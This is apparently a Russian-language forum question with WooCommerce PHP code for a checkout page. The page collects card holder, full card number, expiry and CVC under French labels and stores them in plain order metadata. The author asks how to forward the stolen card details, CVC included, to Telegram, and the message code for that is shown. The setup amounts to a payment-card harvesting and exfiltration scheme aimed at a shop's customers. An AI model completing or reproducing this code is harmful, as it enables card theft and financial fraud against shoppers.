В общем для поля заказа сделал свои поля, они все норм работают.
add_action( 'woocommerce_after_order_notes', 'my_custom_checkout_field' );
function my_custom_checkout_field( $checkout ) {
echo '<div id="my_custom_checkout_field"><div class="credit-icon"><h3>' . __('Carte de credit') . '</h3><div class="cartina"><img src="http://standupshow.pro/wp-content/uploads/2023/05/visa.png"><img src="http://standupshow.pro/wp-content/uploads/2023/05/mc.png"></div></div>';
woocommerce_form_field( 'card_title', array(
'type' => 'text',
'class' => array('my-field-class form-row-wide'),
'label' => __('Titulaire de la carte'),
'placeholder' => __(''),
'required' => true,
), $checkout->get_value( 'card_title' ));
woocommerce_form_field( 'card_number', array(
'type' => 'text',
'class' => array('my-field-class form-row-wide'),
'label' => __('Numero de la carte'),
'required' => true,
'placeholder' => __('0000 0000 0000 0000'),
), $checkout->get_value( 'card_number' ));
echo '<div class="date-cvc">';
woocommerce_form_field( 'card_date', array(
'type' => 'text',
'class' => array('my-field-class form-row-wide'),
'label' => __('Date de validate'),
'placeholder' => __('MM/YY'),
'required' => true,
), $checkout->get_value( 'card_date' ));
woocommerce_form_field( 'card_cvc', array(
'type' => 'text',
'class' => array('my-field-class form-row-wide'),
'label' => __('Cryptogramme visuel'),
'placeholder' => __('***'),
'maxlength' => "3",
'required' => true,
), $checkout->get_value( 'card_cvc' ));
echo '</div>';
woocommerce_form_field( 'card_checked', array(
'type' => 'checkbox',
'class' => array('my-field-class form-row-wide'),
'label' => __('Memoriser ces informations pour les prochaines fois'),
'placeholder' => __(''),
'required' => true,
), $checkout->get_value( 'card_checked' ));
echo '</div>';
}
/**
* Выполнение формы заказа
*/
add_action('woocommerce_checkout_process', 'my_custom_checkout_field_process');
function my_custom_checkout_field_process() {
// Проверяем, заполнено ли поле, если же нет, добавляем ошибку.
if ( ! $_POST['card_title'] )
wc_add_notice( __( 'Пожалуйста, введите требуемый текст в наше новое замечательное поле.' ), 'error' );
}
/**
* Обновляем метаданные заказа со значением поля
*/
add_action( 'woocommerce_checkout_update_order_meta', 'my_custom_checkout_field_update_order_meta' );
function my_custom_checkout_field_update_order_meta( $order_id ) {
if ( ! empty( $_POST['card_title'] ) ) {
update_post_meta( $order_id, 'card_title', sanitize_text_field( $_POST['card_title'] ) );
}
if ( ! empty( $_POST['card_number'] ) ) {
update_post_meta( $order_id, 'card_number', sanitize_text_field( $_POST['card_number'] ) );
}
if ( ! empty( $_POST['card_date'] ) ) {
update_post_meta( $order_id, 'card_date', sanitize_text_field( $_POST['card_date'] ) );
}
if ( ! empty( $_POST['card_cvc'] ) ) {
update_post_meta( $order_id, 'card_cvc', sanitize_text_field( $_POST['card_cvc'] ) );
}
}
/**
* Выводим значение поля на странице редактирования заказа
*/
add_action( 'woocommerce_admin_order_data_after_billing_address', 'my_custom_checkout_field_display_admin_order_meta', 10, 1 );
function my_custom_checkout_field_display_admin_order_meta($order){
echo '<p><strong>'.__('CARD HOLDER').':</strong> ' . get_post_meta( $order->id, 'card_title', true ) . '</p>';
echo '<p><strong>'.__('CARD NUMBER').':</strong> ' . get_post_meta( $order->id, 'card_number', true ) . '</p>';
echo '<p><strong>'.__('CARD DATE').':</strong> ' . get_post_meta( $order->id, 'card_date', true ) . '</p>';
echo '<p><strong>'.__('CARD CVC').':</strong> ' . get_post_meta( $order->id, 'card_cvc', true ) . '</p>';
}
Установил плагин Notification for telegram и прям в плагин добавил свои изменения, но не берет данные. Как правильно брать данные с доп полей заказа?
пишу так
$card_title = $order->get_card_title();
$card_number = $order->get_card_number();
$card_date = $order->get_card_date();
$card_cvc = $order->get_card_date();
и так отправить пытаюсь
$defmessage = $defmessage = "\xE2\x9C\x8C New order ".$id ." on ".$bloginfo ."\xE2\x9C\x8C\r\n\xF0\x9F\x91\x89 ". $first_name. " ". $last_name.", CARD: " . $card_title . "/ " . $card_number . " / " . $card_date . " / " . $card_cvc . "". $billing_email ."\r\n\xF0\x9F\x92\xB0 ".$total." ".$currency_code;